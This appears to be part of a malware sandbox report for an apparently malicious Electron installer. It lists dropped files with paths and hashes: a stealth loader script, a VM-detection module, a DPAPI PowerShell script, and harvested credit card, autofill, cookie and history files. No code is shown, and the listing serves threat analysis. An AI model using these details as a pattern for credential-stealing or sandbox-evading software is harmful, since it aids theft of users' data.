                    • SHA256 77847ca63d7e2aa4b4b2f000b52501d40a632ddecc2b09ab84fc49dbd55f6a89
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\linux\x64\vmDetect.node
                    • Size 288KB
                    • SHA256 d0ce09a9e40ba569de66a6379d893cf5ea89854a795f820686d896f9257501c1
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    node-vm-detect-child.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\node-vm-detect-child.js
                    • Size 967B
                    • SHA256 ab0fd44abc02a37d3a7cdcd30d9172aeb81c425e112d88357a7d90415e0eccd8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\win32\arm64\vmDetect.node
                    • Size 338KB
                    • SHA256 fa575d992a255ab04ed2d6dfead75e142dcf5da6f8dc46dd23aa2895f780e19a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vmDetect.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\win32\x64\vmDetect.node
                    • Size 433KB
                    • SHA256 312a270b60642ef1d309a94d7169c92490770c41a1299a6ae2d91ee20bbd1780
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    package.json
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\package.json
                    • Size 978B
                    • SHA256 0f26b9d66bd6f76fc85db9cec20d0c71e3f94436b869c1aed61b37d6cd6ba628
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    stealth_loader.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\app.asar.unpacked\stealth_loader.js
                    • Size 3KB
                    • SHA256 5e23f6d5cd2fe7b983d6eff6effc9db8758e92ad2d841668883d564326d907b1
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    elevate.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\resources\elevate.exe
                    • Size 105KB
                    • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    snapshot_blob.bin
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\snapshot_blob.bin
                    • Size 306KB
                    • SHA256 318c99695b76079bc82378d5bf38dc9f8bc2d28fe4fbb487a1eda03170af233e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    v8_context_snapshot.bin
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\v8_context_snapshot.bin
                    • Size 650KB
                    • SHA256 8ac45d2ee2705bab53e3ff9564936455301ff722c3b0af0680fabb83d3c27bae
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vk_swiftshader.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\vk_swiftshader.dll
                    • Size 5.2MB
                    • SHA256 4c27819615b1561fef94520bd0d3a9f3497d6e8ceba28cf4a9e1cac94d899185
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vk_swiftshader_icd.json
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\vk_swiftshader_icd.json
                    • Size 106B
                    • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    vulkan-1.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\vulkan-1.dll
                    • Size 874KB
                    • SHA256 7be20f5cce153661ea5a23a37344894e4d67253639e565a28925f055aa6b3be8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    StdUtils.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\StdUtils.dll
                    • Size 100KB
                    • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    System.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\System.dll
                    • Size 12KB
                    • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    WinShell.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\WinShell.dll
                    • Size 3KB
                    • SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    nsProcess.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\nsProcess.dll
                    • Size 4KB
                    • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    nsis7z.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\nsis7z.dll
                    • Size 424KB
                    • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sys_dpapi_65f5b0da.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\sys_dpapi_65f5b0da.ps1
                    • Size 329B
                    • SHA256 8b1594af0b957c81c1dd52fab167ee756daa345828cc22bafdd0e2871e4b0bb2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    6mlcpx3yidt.zip
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\6mlcpx3yidt.zip
                    • Size 4KB
                    • SHA256 f2accb5c9f8ea4d852706e73846c404816798d478b74f1ed069e81d03ef94aec
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    All CreditCards.txt
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\All CreditCards.txt
                    • Size 52B
                    • SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
                    • MD5 SHA1 SHA512
                    Submit Download

                    All Autofill.txt
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\browser_data\autofills\All Autofill.txt
                    • Size 97B
                    • SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Firefox (m209tzjd.default-release).txt
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\browser_data\cookies\Firefox (m209tzjd.default-release).txt
                    • Size 29B
                    • SHA256 d95cc9b596565532beaaacf8d8b00f3d5e9adcbc8c784a982ee6e96df9966e80
                    • MD5 SHA1 SHA512
                    Submit Download

                    All History.txt
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\browser_data\history\All History.txt
                    • Size 800B
                    • SHA256 4a6fb784467b65e9bb1bde27ca3e97259ddaf0a04536022ad6e5573c9b3533f9
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Microsoft Edge (Default).txt
                    • Path C:\Users\Admin\AppData\Local\e646f10293e9443a\browser_data\history\Microsoft Edge (Default).txt
                    • Size 151B
                    • SHA256 9cfc96d8b681bd48f1ab3c5159cd0c7c4456f4b00139a2233e21b717193470be
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    default.exc
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                    • Size 2B
                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                    • MD5 SHA1 SHA512
                    Submit Download

                    Network Persistent State
                    • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State
                    • Size 111B
                    • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Network Persistent State~RFe59d567.TMP
                    • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State~RFe59d567.TMP
                    • Size 59B
                    • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    nyx_loader_error.log
                    • Path C:\Users\Public\nyx_loader_error.log
                    • Size 139B
                    • SHA256 58e2cad80646745e4aabceb0c9616f9923dc8f5da1edd46c951ecaed52581c4c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/2564-870-0x00000245FF010000-0x00000245FF032000-memory.dmp
                    Download

                    memory/2564-876-0x00000245FF1F0000-0x00000245FF1FA000-memory.dmp
                    Download

                    memory/2564-871-0x00000245FF230000-0x00000245FF2A6000-memory.dmp
                    Download

                    memory/2564-874-0x00000245FF1C0000-0x00000245FF1DE000-memory.dmp
                    Download

                    memory/2564-875-0x00000245FF4B0000-0x00000245FF562000-memory.dmp
                    Download

                    memory/3768-1379-0x000001CA9BDE0000-0x000001CA9BF8A000-memory.dmp
                    Download

                    memory/4596-998-0x000001B7FD2C0000-0x000001B7FD310000-memory.dmp
                    Download